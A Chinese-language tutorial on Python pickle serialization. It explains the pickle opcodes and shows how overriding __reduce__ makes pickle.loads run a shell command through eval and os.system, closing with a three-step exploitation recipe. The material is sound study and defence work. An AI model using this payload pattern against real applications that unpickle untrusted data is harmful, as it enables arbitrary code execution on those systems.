(1)pickle.dump(obj,file[,protocol])
序列化对象,并将结果数据流写入到文件对象中,protocol可选择模式,默认为0,文本形式序列化,还可以是1或2,二进制形式序列化。
注:pickle.dumps()将对象obj对象序列化并返回一个byte对象
(2)pickle.load(file)
反序列化对象。注意要让python找到类的定义,否则报错。
注:pickle.loads(),从字节对象中读取被封装的对象
import pickle
class People(object):
def __init__(self,name="test"):
self.name=name
def say(self):
print("Hello!My friends!")
a = People()
c = pickle.dumps(a)
print(c)
Pickle是一个基于栈的编程语言,其本质就是一个轻量级的PVM,有三部分组成:
指令处理器(IP)
栈区(stack)
内存区(memo)
IP常用的操作码:
c : 读取本行内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中
( : 将一个标记对象压入栈中,作为一个确定命令执行的位置,搭配 t 使用,产生元组。
s : 后面跟字符串,读取引号中的内容,直到遇见换行符,将内容压入栈。
t : 从栈中不断pop出数据,直到遇见 ( 停止,产生一个元组压回栈。
R : 将之前压入栈的元组和对象全部弹出,将元组作为可调用参数的对象并执行该对象,最后将结果压入栈中。
. : 结束整个pickle反序列化过程。
利用__reduce__() 魔术方法:
可以通过重写类的object.__reduce__()使之在被实例化时按照重写的方式进行。具体而言,python要求该魔术方法返回一个元组(callable,[para1,para2...]),每当该类的对象被unpickle时,callable被调用生成对象(实际就是构造函数)
在pickle的opcode中,R的作用与object.__reduce__()关系密切:选择栈上的一个元素作为函数,另一个作为参数(必须为元组),然后调用该函数。其实R正好对应object.__reduce__()函数,让它的返回值作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的
import pickle
class People(object):
def __init__(self,name="test"):
self.name=name
def __reduce__(self):
return (eval,("__import__('os').system('ls -la')",))
a = People()
c = pickle.dumps(a)
print(c)
pickle.loads(c)
成功执行命令。
操作步骤可简化为3步:
1.找反序列化位点
2.重写reduce,生成反序列化字符串(即使类没有定义,也同样可以触发)
3.触发